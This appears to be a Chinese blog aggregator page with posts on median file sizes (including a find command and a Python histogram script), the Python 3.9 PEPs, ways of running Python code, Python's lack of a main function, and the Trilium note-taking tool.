其實我對這個結果還不是很驚訝,因爲我記得在 2000 年左右,當我家的電腦還在用 Windows 98 跑在 40G 的 FAT32 文件系統中的時候,讀到過一篇介紹 NTFS 的「新」特性的文章。那篇文章講到 FAT32 的簇大小隨着分區大小增長,越來越大的簇大小對保存大量小文件極其浪費,而 NTFS 用固定的 4K 簇大小可避免這樣的浪費,並且 1K MFT 記錄甚至能「內聯(inline)」存儲非常小的文件。 爲了證明大量小文件對文件系統是個現實存在的問題,那篇文章也提到了常見系統中的文件大小分佈曲線, 提到了大部分文件都是 4K 大小這有點反直覺的結論。

這次這個研究讓我覺得吃驚的是,文件大小分佈並沒有隨着硬盤大小的增加而增加,穩定在了 4K 這個數字上。 他們以前還進行過兩次類似的統計,分別在 2000 年和 2004 年,圖中的點線畫出了歷史上的統計分佈,實線是 2009 年的最新統計。三年獲得的統計結果的曲線基本吻合,這意味着隨着存儲容量增長,文件大小的分佈幾乎沒有變化。

正當我疑惑,這種文件大小不變的趨勢,是否是因爲微軟公司內特定的操作系統和工作內容, 在別的系統上或者在更長的時間跨度上是否有類似的趨勢呢?這時演講的幻燈片翻了一頁:

file-histogram-4k-since1981.jpg

從早在 1981 年起,有研究表明文件系統中文件大小中位數就穩定在了 4K

在他們論文的參考文獻中,能找到 這個 1981 年的研究 。這篇早年的調查是在 DEC 的 PDP-10 機器上,使用 TOPS-10 操作系統。從現在的視點來看,被調查的 TOPS-10 的文件系統已經可以說非常初級了,沒法支持很大的文件或者很多的文件, 然而即便如此常見文件大小也還是非常符合現代系統中得到的結果。

微軟的研究者們還回顧了計算機科學領域多年的相關研究,結論是常見文件大小這個值在 1981 到 2009 這近 30 年中都非常穩定。演講的原文中這麼評價:

…… the median file size is 4k. It was 4k the other two years of the study. We've actually gone back through the literature. It turns out it's 4k in every study going back to the last 30 years. So this is great news. We can finally compete with physicists: we have our own fundamental constant of the universe, it's a medium file size ……

文件大小中位數是 4K 。在前幾年的兩次研究中它也是 4K 。其實我們回顧了既往的學術研究,發現在過去30 年中每個研究都說它是 4K 這個值。這是個好消息,我們終於有了一個堪比物理學家的結論:我們有我們自己的 宇宙基本常數了,是文件大小中位數。

這個結論很有意思,文件大小中位數在計算機科學領域的穩定程度堪比宇宙基本常數: 4K

很明顯這是在調侃,文件大小這種變化很大的數字顯然和文件系統內存儲的內容直接相關, 存遊戲的可能不同於存音樂的。但是這調侃的背後也有一定真實性:文件系統中保存的文件, 除了用戶直接使用的那些視頻、文檔、代碼,還有大量文件是程序內部創建使用的,比如瀏覽器的緩存和 cookie ,這類不被用戶知曉的文件可能在數量上反而佔據絕大多數。 於是從文件系統這邊來看,大多數文件都是在 4K 左右的數量級,更大的文件是少數。

不信?你可以測一下自己的文件系統

我也想測一下我的文件系統中文件大小的分佈情況,於是稍微寫了點代碼測量和畫圖。如果你也想知道你的系統中 文件大小的分佈,那麼可以像我這樣測。

首先用 find 命令統計一下每個文件的大小,輸出到一個文件裏:

find /home -type f -printf "%s %p\n" > myhome.txt

上述命令對 /​home 中的所有普通文件而忽略文件夾和符號鏈接之類的( -type f ),輸出文件大小字節數和文件路徑( -printf "%s %p\n" )。 如果文件名路徑中有特殊符號可能之後比較難處理,那麼可以 -printf "%s\n" 忽略路徑。

然後用 Python 的 Matplotlib 和 NumPy 對收集到的文件大小數據畫個直方圖(histogram)。 以下 filesizehistogram.py 腳本在這兒 能下載到。

#!/usr/bin/python3
import argparse
import matplotlib.pyplot as plt
import numpy as np
import sys
from math import *
from bisect import bisect_left


def numfmt(s):
    marks = "KMGTP"
    m = 0
    f = type(s) is float
    while s >= 1024 and m < len(marks):
        if f:
            s /= 1024.0
        else:
            s //=1024
        m += 1
    if f:
        return f"{s:.2f}{marks[m-1:m]}"
    else:
        return f"{s}{marks[m-1:m]}"

if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        prog = "filesizehistogram",
        description = """
            can use "-" as input filename, indicate input is taken from stdin.
            otherwise input file should be a result of "find -printf \'%s %p\\n\'"
            """
    )
    parser.add_argument('-o', '--output', help="output filename, will recognize common extensions by matplot")
    parser.add_argument('input', nargs='+',  help="input filenames")
    args = parser.parse_args()

    filenames = [x if x != '-' else '/dev/stdin' for x in args.input]
    data=np.array([int(x.split(' ')[0]) for fn in filenames for x in open(fn)])
    mindatalog2 = 5 # cut from 32
    maxdatalog2 = min(ceil(log2(data.max())), 31) # cut at 1G and above
    # bins [0, 1, 32, 64, 128, 256, ... , 1G, 2G] , last bin is open range
    bins=[0,1,] + [2**x for x in range(mindatalog2, maxdatalog2 + 1)]

    median = float(np.median(data))
    mean = float(data.mean())
    bmedian = bisect_left(bins, median) - 1
    bmean = bisect_left(bins, mean) - 1
    files = len(data)
    total = data.sum()

    hist, bin_edges = np.histogram(data,bins)
    fig,ax = plt.subplots(figsize=(20,8))
    ax.bar(range(len(hist)), hist, width=0.9)
    ax.set_xticks([i for i in range(len(hist))])
    tickbar = "┊\n"
    ax.set_xticklabels([f'{tickbar*(i%3)}{numfmt(bins[i])}~{numfmt(bins[i+1])}' for i in range(len(hist)-1)] +
                    [f"{numfmt(bins[len(hist)-1])}~"])

    ax.axvline(bmean, color='k', linestyle='dashed', linewidth=1)
    ax.axvline(bmedian, color='r', linestyle='dashed', linewidth=2)
    min_ylim, max_ylim = plt.ylim()
    min_xlim, max_xlim = plt.xlim()
    ax.text(bmean + 0.5   , max_ylim * 0.9, f'Mean: {numfmt(mean)}')
    ax.text(bmedian + 0.5 , max_ylim * 0.9, f'Median: {numfmt(median)}', color='r')
    ax.text(max_xlim * 0.8, max_ylim * 0.9, f'Files: {files}')
    ax.text(max_xlim * 0.9, max_ylim * 0.9, f'Total: {numfmt(float(total))}')

    for i in range(len(hist)):
        ax.text(i - 0.5, hist[i] + files / 400, f"{hist[i]:5}") # label on top of every bar, uplefted a little

    if args.output:
        plt.savefig(args.output)
    else:
        plt.show()

然後就能 ./​filesizehistogram.py myhome.txt 這樣畫出一張圖。以下是我一臺機器上根目錄 /​ 和家目錄 /​home 放在一起的結果:

myroot.png

圖中我用點線標出了中位數(median)和平均數(mean)大小的位置,可見在我的文件系統中, 文件大小中位數在 2.24K ,平均數是 88.09K ,512~8K 範圍內的文件數量加在一起超過了文件總數一半。文件數量最多的範圍是 1K~2K ,大概因爲我家裏存了好多源代碼。還有一個小突起在 64K~128K ,這堆主要是我收藏的漫畫 JPG 文件。

圖的橫座標和上面微軟的研究類似,用2倍增長的bin統計文件數量。 不過稍微修改了一下,因爲我想知道 0 大小文件的個數,還想把 1~32 和 1G~ 以上這兩個曲線底端的尾巴放在一起統計。圖的縱座標是文件數。

也可以用這個來畫你感興趣的文件夾的文件大小分佈,比如用 linux 內核代碼樹畫出來的圖大概這樣:

linux-filesize.png

linux 代碼樹的文件大部分比我猜的 30K 要小呢,主要在 1K~16K ,中位數 3.28K 。而且意外得在代碼樹裏有好幾個 0 大小的文件,看了幾個文件路徑確認了一下,它們的確是 0 大小的頭文件,並不是我的文件系統丟了文件內容。

結論

有沒有覺得「文件大小的中位數是 4K 」這個結論出乎意料呢?

你在用的系統中文件大小的分佈曲線又是什麼樣的呢?歡迎留言告訴我。(貼圖可以用 https://fars.ee/f 圖牀呀)

知道了文件大小分佈的規律,就會發現設計文件系統的時候,需要考慮兩個極端情況: 既要照顧到文件系統中數量很少而大小超大的那些文件,又要考慮到這麼多數量衆多而大小只有數 K 的文件。也會發現,對於文件系統而言,超過 16K 的文件就絕不會被算作是「小文件」了,而文件系統設計中說的 「小文件優化」針對的通常是更小的文件大小。並且這一趨勢並不會隨着存儲設備容量增加而改變, 不能妄圖通過隨着容量逐步增加文件分配「簇」大小的方式,來簡化文件系統設計。

那麼衆多文件系統實際是如何滿足這些極端情況的呢?待我有空再細聊……

by farseerfc at June 11, 2020 06:45 AM

June 09, 2020

pythoncat

Python 3.9 beta2 版本发布了,看看这 7 个新的 PEP 都是什么?

原作:Jake Edge
译者:豌豆花下猫@Python猫
随着 Python 3.9.0b1 的发布,即开发周期中计划的四个 beta 版本的首个,Python 3.9 的功能已经是完善了。在 10 月发布最终版本之前,还会有许多测试和稳定性方面的工作要做。
(译注:beta1 版本发布于 5 月 18 日,作者文章写于 5 月 20,而到本篇译文发布时,beta2 刚好在今天即 6 月 9 日发布,这是一个巧合!)
该发布说明中列出了被 3.9 接受的 7 个 Python 增强提案(PEP)。我们研究了其中的一些 PEP,看到有一些更新。现在似乎是一个介绍 Python 3.9 带来的一些东西的好时机。

1、字符串操作

有时最简单(表明上的)的事情最困难,或者至少会引起巨大的讨论。其中大部分的争议是关于命名(还能是什么?),但是给标准字符串对象添加函数,来删除前缀和后缀,这种想法是毫无争议的。
是否可以将那些词缀(前缀和后缀的统称)指定为序列,以便在一次调用中处理多个词缀,这一点尚不明确,最后它被从提案中删除了,等待着其他人再次推动更改。
在 3 月底,Dennis Sweeney 在 python-dev 邮件列表上请求核心开发者支持 PEP 616(“字符串删除前缀和后缀的方法”)。他指出了自 2019 年 3 月以来关于该话题的 python-ideas 讨论。埃里克·史密斯(Eric V. Smith)同意支持该 PEP,这促使 Sweeney 发布并启动了讨论。
在最初版本中,他使用 cutprefix() 和 cutsuffix() 作为要添加给字符串对象的方法名。四种类型的 Python 对象将获得新的方法:str(Unicode 字符串),byte(二进制序列),bytearray(可变的二进制序列)和 collections.UserString(字符串对象的一种封装)。
它的写法如下:
'abcdef'.cutprefix('abc') # 返回'def'
'abcdef'.cutsuffix('ef') # 返回'abcd'
针对命名部分,出现了一大堆的建议。基本上很少有人喜欢“cut”,因此“strip”、“strim”和“remove”被提出来了,并且都获得了一些支持。
stripprefix() 以及 stripsuffix() 由于 PEP 中指出的一种理由,至少是被部分地反对了;现有的“strip”函数令人困惑,因此应避免重用该名称。
str.lstrip() 和 str.rstrip() 方法也用于删除前导字符和尾随字符,但是它们对于真正在寻找 cutprefix() 功能的程序员来说是一个困惑的来源。
*strip() 在调用时接收一个字符串参数,但会将其视为一组字符,并从字符串开头或结尾消除:
'abcdef'.lstrip('abc') # 返回“def”,符合预期
'abcbadefed'.lstrip('abc') # 返回'defed',完全不符合预期
最终,removeprefix() 和 removesuffix() 似乎占据了上风,这正是 Sweeney 最终改成的版本。Guido van Rossum 也支持这些名字。
埃里克·法格伦(Eric Fahlgren)这样搞笑地总结了命名的争论:

我认为如果你先写文档,则名称的选择会更容易些:

cutprefix - 删除指定的前缀。

trimprefix - 删除指定的前缀。

stripprefix - 删除指定的前缀。

removeprefix - 删除指定的前缀。废话 :)

Sweeney 更新了 PEP,回应了许多评论,但还增加了提议将字符串元组作为词缀的功能(可以在 PEP GitHub 仓库中看到该版本)。
但是史蒂文·达普拉诺(Steven D’Aprano)不确定这样做是否合理。他指出,唯一接受元组参数的字符串操作是 str.startswith() 和 str.endswith(),而它们不返回字符串(只是一个布尔值)。他怀疑添加这一种接收元组参数却返回字符串的方法,因为无论选择何种规则来处理元组,对于某些人来说都是“错误的”选择。
例如:

这里的困难在于,如果两个或多个前缀都能匹配,则“剪切这些前缀中的一个”的概念是模棱两可的。对 startwith 没有区别:

 "extraordinary".startswith(('ex', 'extra'))

因为是从左到右,从最短到最大,甚至是随机顺序匹配都为True。但是对于 cutprefix,应该删除哪个前缀?

如他所说,建议的规则是使用从左到右处理元组的第一个匹配字符串,但是有些人可能想要最长的匹配或最后一个匹配;这一切都取决于使用的上下文。他建议在提交添加此类行为之前,要给该功能更多的“浸泡时间”(译注:即预备时间):“在添加多前缀/后缀的支持之前,我们首先应该对简单的情况进行一些实际的体验。”
伊桑·弗曼(Ethan Furman)同意达普拉诺(D’Aprano)的意见。但是维克托·斯汀纳(Victor Stinner)强烈赞成元组参数的想法,只不过,他还想知道当传入的元组有空字符串时,会怎么处理。根据 PEP 提议,在处理元组时遇到空字符串(实际上可以匹配任何内容)只会返回原始字符串,这会导致令人惊讶的结果:
cutsuffix("Hello World", ("", " World"))    # 返回 "Hello World"
cutsuffix("Hello World", (" World", ""))    # 返回 "Hello"
这个例子不太明显;词缀不一定是硬编码的,因此空字符串可能会溜进意想不到的位置。Stinner 建议如果遇到空字符串,则抛出 ValueError,类似于 str.split()。但是 Sweeney 决定完全删除元组参数功能,以便“允许对此有更强见解的人在另外的 PEP 中提出并捍卫一系列的语义”。他在 3 月 28 日发布了该 PEP 的最新版本。
4 月 9 日,Sweeney 发起了一个指导委员会 issue,请求对其 PEP 进行评审。4 月 20 日,Stinner 代表委员会接受了该提案。
这是一个很小的更改,但值得花时间确保它具有长期适用的接口(和语义)。我们将在 Python 3.9 中看到 removeprefix() 和removesuffix()。

2、新解析器

并不令人感到惊讶的是,指导委员会已经接受了我们在 4 月中旬介绍过的 CPython 新解析器。PEP 617(“CPython 新的 PEG 解析器”)由 Python 创始人即前仁慈的独裁者(BDFL) Guido van Rossum 以及 Pablo Galindo Salgado 和 Lysandros Nikolaou 共同提出。
它已经运行良好,并且在现有解析器的速度和内存使用方面提升了 10% 以内的性能。由于解析器是基于解析表达语法(PEG),因此也将简化语言规范。CPython 现有的 LL(1) 解析器存在诸多缺点和一些 hack,新的解析器将会消除掉。
这一更改为 Python 超越 LL(1) 语法铺平了道路,尽管现有语言并不完全是 LL(1)。这一更改不会太快,因为计划是在 Python 3.9 的命令行中提供开关,保持现有解析器可用。
但是 Python 3.10 将删除现有的解析器,这可能会导致语言变更。如果做了那些更改,那么,其它的 Python 实现(例如 PyPy 和 MicroPython)就需要切换解析器的 LL(1) 实现,以便跟上语言规范的要求。这可能会使核心开发者暂停进行此类更改。

3、更多内容

我们在三月初查看了 PEP 615(“在标准库中支持 IANA 时区数据库”)。它将在标准库中添加一个zoneinfo 模块,该模块将有助于从 IANA 时区数据库中(也称为“Olson数据库”)获取时区信息,以填充时区对象。在撰写本文时,它看起来很顺利。
在 3 月底,Paul Ganssle 请求就该 PEP 作出决议。他认为在一个有趣的时间范围内接受它,可能会很有趣:

… 我希望(出于异想天开的原因)在 4 月 5 日(星期日)UTC 时间 02:00-04:00 或 13:00-17:30 之间接受它,因为这些时间代表着地球上某些地方的不明确时间(主要在澳大利亚)。还有另一个时机,那就是在 4 月 19 日星期日 UTC 01:00-03:00 之间,这段时间在西撒哈拉是不明确的。

他意识到这可能难以实现,它当然不是优先考虑的事。指导委员会没有错过第二个时间窗太多;Barry Warsaw 于 4 月 20 日宣布接受该 PEP。
Python 现在将具有一种机制来访问系统的时区数据库,以创建和处理时区。另外,Python 软件包索引(PyPI)中有一个 tzdata 模块,它为缺少 IANA 数据的系统提供这些数据;它将由 Python 核心开发者维护。
PEP 593(“灵活的函数和变量注释”)添加了一种将上下文特定的(context-specific)元数据与函数和变量关联的方法。实际上,type hint 注解已挤出了很多年前在 Python 3.0 中实现的 PEP 3107(“函数注释”)中设想的其它用例。PEP 593 使用注解的(Annotated)类型提示为这些用例创建了一种新的机制。
PEP 585(“标准集合中的类型提示泛型”)提供了另一种清除方法。它将允许删除在 typing 模块中维护的一组并行的类型别名,以支持泛型。例如,type.List 类型将不再需要支持诸如“dict[str,list[int]]”之类的注解(例如,一个带有字符串键和整数列表的值的字典)。
字典“加法”的联合操作也会是 Python 3.9 的一部分。它曾不时引起争议,但是 2 月中旬,PEP 584(“给字典添加联合操作符”)被 Van Rossum 推荐采纳。指导委员会迅速同意了,该特性于 2 月 24 日合入。
最后一个 PEP 是 PEP 602(“Python 的年度发布周期”)。如提案所书,它将发布节奏从每 18 个月更改为每年一次。但是,开发和发布周期是重叠的,因此整个功能开发需要 12 个月的时间。当第一个 Python 3.9 beta 版本发布时(即现在),Python 3.10 的功能开发就开始了。请继续关注来年的下一轮 PEP。

June 09, 2020 12:00 AM

June 06, 2020

pythoncat

涨见识了,在终端执行 Python 代码的 6 种方式!

原作:BRETT CANNON
译者:豌豆花下猫@Python猫
为了我们推出的 VS Code 的 Python 插件 [1],我写了一个简单的脚本来生成变更日志 [2](类似于Towncrier [3],但简单些,支持 Markdown,符合我们的需求)。在发布过程中,有一个步骤是运行python news ,它会将 Python 指向我们代码中的”news”目录。
前几天,一位合作者问这是如何工作的,似乎我们团队中的每个人都知道如何使用-m ?(请参阅我的有关带 -m 使用 pip 的文章 [4],了解原因)(译注:关于此话题,我也写过一篇更为详细的文章
这使我意识到其他人可能不知道有五花八门的方法可以将 Python 指向要执行的代码,因此有了这篇文章。

1、通过标准输入和管道

因为如何用管道传东西给一个进程是属于 shell 的内容,我不打算深入解释。毋庸置疑,你可以将代码传递到 Python 中。
# 管道传内容给 python
echo "print('hi')" | python
如果将文件重定向到 Python,这显然也可以。
# 重定向一个文件给 python
python < spam.py
归功于 Python 的 UNIX 传统,这些都不太令人感到意外。

2、通过-c 指定的字符串

如果你只需要快速地检查某些内容,则可以在命令行中将代码作为字符串传递。
# 使用 python 的 -c 参数
python -c "print('hi')"
当需要检查仅一行或两行代码时,我个人会使用它,而不是启动 REPL(译注:Read Eval Print Loop,即交互式解释器,例如在 windows 控制台中输入python, 就会进入交互式解释器。-c 参数用法可以省去进入解释器界面的过程) 。

3、文件的路径

最众所周知的传代码给 python 的方法很可能是通过文件路径。
# 指定 python 的文件路径
python spam.py
要实现这一点的关键是将包含该文件的目录放到sys.path 里。这样你的所有导入都可以继续使用。但这也是为什么你不能/不应该传入包含在一个包里的模块路径。因为sys.path 可能不包含该包的目录,因此所有的导入将相对于与你预期的包不同的目录。

4、对包使用 -m

执行 Python 包的正确方法是使用 -m 并指定要运行的包名。
python -m spam
它在底层使用了runpy [5]。要在你的项目中做到这点,只需要在包里指定一个__main__.py 文件,它将被当成__main__ 执行。而且子模块可以像任何其它模块一样导入,因此你可以对其进行各种测试。
我知道有些人喜欢在一个包里写一个main 子模块,然后将其__main__.py 写成:
from . import main

if __name__ == "__main__":
    main.main()
就我个人而言,我不感冒于单独的main 模块,而是直接将所有相关的代码放入__main__.py ,因为我感觉这些模块名是多余的。
(译注:即作者不关心作为入口文件的”main”或者“__main__”模块,因为执行时只需用它们的包名即可。我认为这也暗示了入口模块不该再被其它模块 import。我上篇文章 [6]比作者的观点激进,认为连那句 if 语句都不该写。)

5、目录

定义__main__.py也可以扩展到目录。如果你看一下促成此博客文章的示例,python news 可执行,就是因为 news 目录有一个 __main__.py 文件。该目录就像一个文件路径被 Python 执行了。
现在你可能会问:“为什么不直接指定文件路径呢?”好吧,坦白说,关于文件路径,有件事得说清楚。😄在发布过程中,我可以简单地写上说明,让运行python news/announce.py ,但是并没有确切的理由说明这种机制何时存在。
再加上我以后可以更改文件名,而且没人会注意到。再加上我知道代码会带有辅助文件,因此将其放在目录中而不是单独作为单个文件是有意义的。
当然,我也可以将它变为一个使用 -m 的包,但是没必要,因为 announce 脚本很简单,我知道它要保持成为一个单独的自足的文件(少于 200 行,并且测试模块也大约是相同的长度)。
况且,__main__.py 文件非常简单。
import runpy
# Change 'announce' to whatever module you want to run.
runpy.run_module('announce', run_name='__main__', alter_sys=True)
现在显然必须要处理依赖关系,但是如果你的脚本仅使用标准库或将依赖模块放在__main__.py 旁边(译注:即同级目录),那么就足够了!
(译注:我觉得作者在此有点“炫技”了,因为这种写法的前提是得知道 runpy 的用法,但是就像前一条所写的用 -m 参数运行一个包,在底层也是用了 runpy。不过炫技的好处也非常明显,即__main__.py 里不用导入 announce 模块,还是以它为主模块执行,也就不会破坏原来的依赖导入关系)

6、执行一个压缩文件

如果你确实有多个文件和/或依赖模块,并且希望将所有代码作为一个单元发布,你可以用一个__main__.py ,放置在一个压缩文件中,并把压缩文件所在目录放在 sys.path 里,Python 会替你运行__main__.py 文件。
# 将一个压缩包传给 Python
python app.pyz
人们现在习惯上用 .pyz 文件扩展名来命名此类压缩文件,但这纯粹是传统,不会影响任何东西;你当然也可以用 .zip 文件扩展名。
为了简化创建此类可执行的压缩文件,标准库提供了zipapp [7]模块。它会为你生成__main__.py并添加一条组织行(shebang line),因此你甚至不需要指定 python,如果你不想在 UNIX 上指定它的话。如果你想移动一堆纯 Python 代码,这是一种不错的方法。
不幸的是,仅当压缩文件包含的所有代码都是纯 Python 时,才能这样运行压缩文件。执行压缩文件对扩展模块无效(这就是为什么 setuptools 有一个 zip_safe [8]标志的原因)。(译注:扩展模块 extension module,即 C/C++ 之类的非 Python 文件)
要加载扩展模块,Python 必须调用 dlopen() [9]函数,它要传入一个文件路径,但当该文件路径就包含在压缩文件内时,这显然不起作用。
我知道至少有一个人与 glibc 团队交谈过,关于支持将内存缓冲区传入压缩文件,以便 Python 可以将扩展模块读入内存,并将其传给压缩文件,但是如果内存为此服务,glibc 团队并不同意。
但是,并非所有希望都丧失了!你可以使用诸如shiv [10]之类的项目,它会捆绑(bundle)你的代码,然后提供一个__main__.py 来处理压缩文件的提取、缓存,然后为你执行代码。尽管不如纯 Python 解决方案理想,但它确实可行,并且在这种情况下算得上是优雅的。
(译注:翻译水平有限,难免偏差。我加注了部分内容,希望有助于阅读。请搜索关注“Python猫”,阅读更多优质的原创或译作。)

参考链接

June 06, 2020 12:00 AM

June 03, 2020

pythoncat

Python 为什么没有 main 函数?为什么我不推荐写 main 函数?

毫无疑问 Python 中没有所谓的 main 入口函数,但是网上经常看到一些文章提“Python 的 main 函数”、“建议写 main 函数”……
有些人是知情的,他的意图可能是模仿那些正宗的 main 函数,但还有不少人明显是被误导了(或自己误解了),就写出来很累赘的代码。
本期“Python 为什么”栏目来聊聊 Python 为什么没有 main 函数?
在开始正题之前,先要来回答这两个问题:所谓的 “main 函数”是指什么?为什么有些编程语言需要强制写一个 main 函数?
某些编程语言以 main 函数作为程序的执行入口,例如 C/C++、C#、 Java、Go 和 Rust 等,它们具有特定的含义:
  • main 函数名是强制的,也就是要求必须有一个 main 函数
  • main 函数最多只能有一个,也就是说程序的入口是唯一的
  • 语法格式有一定的要求,具有相对固定的模板
为什么要强制一个 main 入口函数呢?
这些语言是编译型语言,需要把代码编译成可执行的二进制文件,为了让操作系统/启动器找到程序的起点,所以要约定这一个函数。简单地说,就是在一大堆代码里,需要定义一个显著的可用于执行的开头。
不难看出,main 函数是那些语言中重要而不可缺的有机组成部分。
然而,我们再来看看 Python,情况就大不相同了。
  • Python 是解释型语言,即脚本语言,运行过程是从上往下,逐行解析运行,也就是说它的起点是可知的
  • 每个 .py 文件就是一个可执行文件,都可作为整个程序的入口文件,也就是说程序的入口是灵活可变的,没有必须遵守的约定
  • 有时候运行 Python 项目,并没有指定入口文件(命令行中较常见,例如”python -m http.server 8000”), 那可能是存在 __main__.py 文件,它所在的包被当成一个“文件”来执行了
归结起来,意思是说 Python 这种脚本语言跟编译型语言不同,它不管是在单个模块层面(即一个 .py 文件),还是在由多个模块组成的包层面,都可选择灵活的执行方式,不像其它语言缺了约定好的入口就没法执行。
也就是说,Python 没有必要在语法层面规定程序员必须定义出一个统一的入口(不管是函数还是类还是什么东西)。
有些同学可能会有疑惑,因为他们经常看到或者自己写出下面这样的代码:
# main 里是某些主体代码
def main():
    …… 
 
if __name__ == '__main__':
    main()
难道这不就是 Python 的 main 函数么?相信有不少同学会这么想!
非也!非也!
除了函数名是“main”以外,它跟我们前面介绍的正统的 main 函数没有半毛钱关系,既没有强制性,也没有必然决定程序执行顺序的作用。缺少它,也不会导致什么语法问题。
之所以有些知情人要命名出一个”main“函数,其实是想强调它的”主要“地位,想要人为地安排它作为第一个执行的函数。他们可能认为这样命名的函数,比较容易记忆。
之所以有些知情人要写if __name__ == '__main__' ,可能想表明 main() 只有在当前脚本被直接执行时才运行,不希望被导入其它模块时运行。
对于这些“知情人”,他们有一定的道理。
但是,我个人并不推荐这种写法,甚至有时候会非常反感!
最明显的例子:明明只有几十行代码,或者仅有一个脚本文件,实现一个简单的功能(一小段爬虫、用 turtle 画张图等等),但是它们都按前面的样式写了。
我每次看到这种不假思索的累赘代码,就觉得难受。为什么要写那行 if 语句呢?可能的话,应该拆分 main 函数,甚至不必封装成一个函数啊!
我个人总结出以下的经验:
  • 打破惯性思维,写出地道的代码。main 入口函数是某些语言特有的,不该在 Python 中“照猫画虎”,应该了解脚本语言的特点,写出简洁优雅的风格
  • 使用 main.py 而非 main()。因为 Python 的程序执行单位其实是脚本文件,而非某个函数或者类,所以建议把入口文件命名为 main.py,内部的函数按需求而定
  • 可以的话,使用__main__.py 作为入口文件。这个文件结合命令行的“-m”参数使用,非常好用。推荐阅读:Python 中 -m 的典型用法、原理解析与发展演变
  • 不推荐写if __name__ == '__main__' 。首先,如果只有一个文件的话,因为不存在导出的可能,不建议写。其次,存在多文件时,入口文件(main.py)中极不推荐写这一句,此文件的代码逻辑应该精炼,理论上其内容不该被导出到其它模块使用,因为它是起点!最后,多文件的非入口文件也不建议写,因为在非入口文件中写这个判断,最大的作用就是写一些测试代码,但是测试代码应该分离出来,写到专门的目录或文件中。
小结:本文首先解释了什么是 main 入口函数,以及为什么某些语言会强制要求写 main 函数;接着,解释了为什么 Python 不需要写 main 函数;最后则是针对某些人存在的惯性误区,分享了我个人的四点编程经验。

June 03, 2020 12:00 AM

June 02, 2020

spiritx

使用Trilium构建个人知识库

信息时代知识的获取变得十分容易,在庞大信息流的冲击下,旧的知识尚在消化中,新的知识已源源不断地涌来,如果没有把获取到的知识整理的习惯,那么很容易迷失在这五彩斑斓的世界里。

前我是没有记笔记的习惯的,就算会记我也不一定会回过头查看我记了什么,我对自己的记忆能力充满自信,这也使我吃过不少亏。算起来,我真正开始记笔记的时间应该是去年开学的时候。我把自己所学到的、值得记录的东西用手机自带的便签记下了,也是那时候,我开始写日记,不是写什么故事,只想记录下生活那些平平淡淡的点滴。渐渐的,我发现便签不适合我,我便开始了寻找……

在体验过众多笔记软件/平台后,我选择了 TiddlyWiki,这也是我用得最久的一款软件,TiddlyWiki 的的确确是一款优秀的程序,但我对于它的一些方面始终不是很满意,所以我并未停止寻找替代品,直到最近发现了 Trilium 。与其它同类软件相比,它具有以下优点:

  • 完全开源,可以自行编译或部署,具有多平台支持
  • 不只是分层级,更可以无限嵌套
  • 加密、历史版本、多媒体……这些该有的都有
  • 有网页剪藏软件(我可以放弃Wallabag了
  • 日记功能,这对我来说是一个重要的功能
  • 可以自定义插件和模板
  • 强大的Attributes 系统
  • ……


惯例,我先上图:

<noscript><img alt="预览" height="786" src="https://view.spiritx.xyz/images/2020/06/02/12010df60c2c2df803bfce3759cb38ca.jpg" width="1200" /></a><br /></noscript>
这是一张官方的示例图片,截自客户端内,同时,也是第一次打开时看到的页面,其中包含了一系列使用文档。从图片就可以看出 Trilium 非常简洁、具有很高的辨识度。左边是一棵无限嵌套的文档树,中间是笔记编辑区域,右边是当前笔记的信息,包括笔记标签和关联笔记图表等。

开源,易于部署

开源的优点不用多说,在写这篇文章的时候,恰逢Notion个人版免费了,我也去了解了这款软件,相比之下,我还是喜欢开源的 Trilium 。

release页面上有已经打包好的 Windows、Macos、Linux 以及 Linux Server 软件包,只需下载即可安装,Linux Server 版的 Trilium 是用来同步的,同时也提供了网页写作的前端,我个人是比较偏好于网页端写作的,这也是我选择 Trilium 的一个主要原因。如今我将他部署在了我的树莓派上,如果你的托管服务器也是使用的 aarch64 的系统,可以用我编译的镜像: docker run -d --name trilium -p 8080:8080 -v ~/volume/trilium/trilium-data:/root/trilium-data --restart unless-stoped spirit1431007/trilium-arm ,回车之后数据便永久保存在了 ~/volume/trilium/trilium-data

关系管理

作为知识库,关系可谓是其最重要的一部分,而 Trilium 在这方面做到了极致。

层级

开头提到了,Trilium 支持无限层级,这其实不算是 Trilium 独有,不过它做的很很出色。每一级的文件夹都能写笔记,如果留空的话,就会默认显示该目录下的“子笔记”,不得不说,这种结构非常适合知识库,就像这样:

<noscript><img alt="层级" height="563" src="https://view.spiritx.xyz/images/2020/06/02/c2baa6112e5dd0cda0d334f90ff80f33.jpg" width="1200" /></a><br /></noscript>
之前用 TiddlyWiki 虽然也能做到,不过那样得自己新建一个目录列表,且目录列表样式固定,不如 Trilium 来的快。顺带一提,Trilium 是支持随意拖动的,这就方便了我们对每条笔记进行分类整理。

克隆

除此之外,Trilium 还支持一个很赞的功能:Cloning notes。简单来讲,就是我可以把同一条笔记链接到不同的目录里面,而不用在一条条去复制了,在编辑这条笔记时,所有的克隆版本都会更新,删除时也能选择是否全部删除。

引用

知识之间是有联系的,作为知识库,免不了知识之间的引用和参考。与其他笔记应用中复杂的引用过程相比,Trilium 引用笔记十分方便——只需简单地输入一个 @ ,之后会在 @ 后面打字就会搜索并插入通往其他笔记的链接

<noscript><img alt="引用" height="472" src="https://view.spiritx.xyz/images/2020/06/02/985c3263f6b7d93b4018c4fafa619fb9.jpg" width="701" /></a><br /></noscript>
不止如此,在链接了其他笔记之后,Link Map 组件也会实时更新,可以在右侧栏目看到

<noscript><img alt="Link Map" height="346" src="https://view.spiritx.xyz/images/2020/06/02/Link-Map.jpg" width="579" /></a><br /></noscript>
可以随意拖动,直到看起来满意为止。

关系图

Relation Map 是 Trilium 的一种笔记形式,有点类似于思维导图

<noscript><img alt="Relation Map" height="537" src="https://view.spiritx.xyz/images/2020/06/02/Relation-Map.jpg" width="1200" /></a><br /></noscript>
每个节点对应一则子笔记,鼠标悬停时可以预览,点击即可编辑。另外,比较有特色的是可以给关系加上标注。

属性

Attributes 是每一个Trilium note的属性,分为4类:

  • Labels(标签) - 简单的键值
  • Relation(关系) - 指定到另一条笔记的关系(链接)
  • Label and relation definition(前两者的定义) - 提升属性

要查看或修改属性,点击笔记右边栏目的show dialog

<noscript><img alt="属性" height="529" src="https://view.spiritx.xyz/images/2020/06/02/9afd20b902e4e9b86c630c81ada5e98c.jpg" width="1200" /></a><br /></noscript>

标签

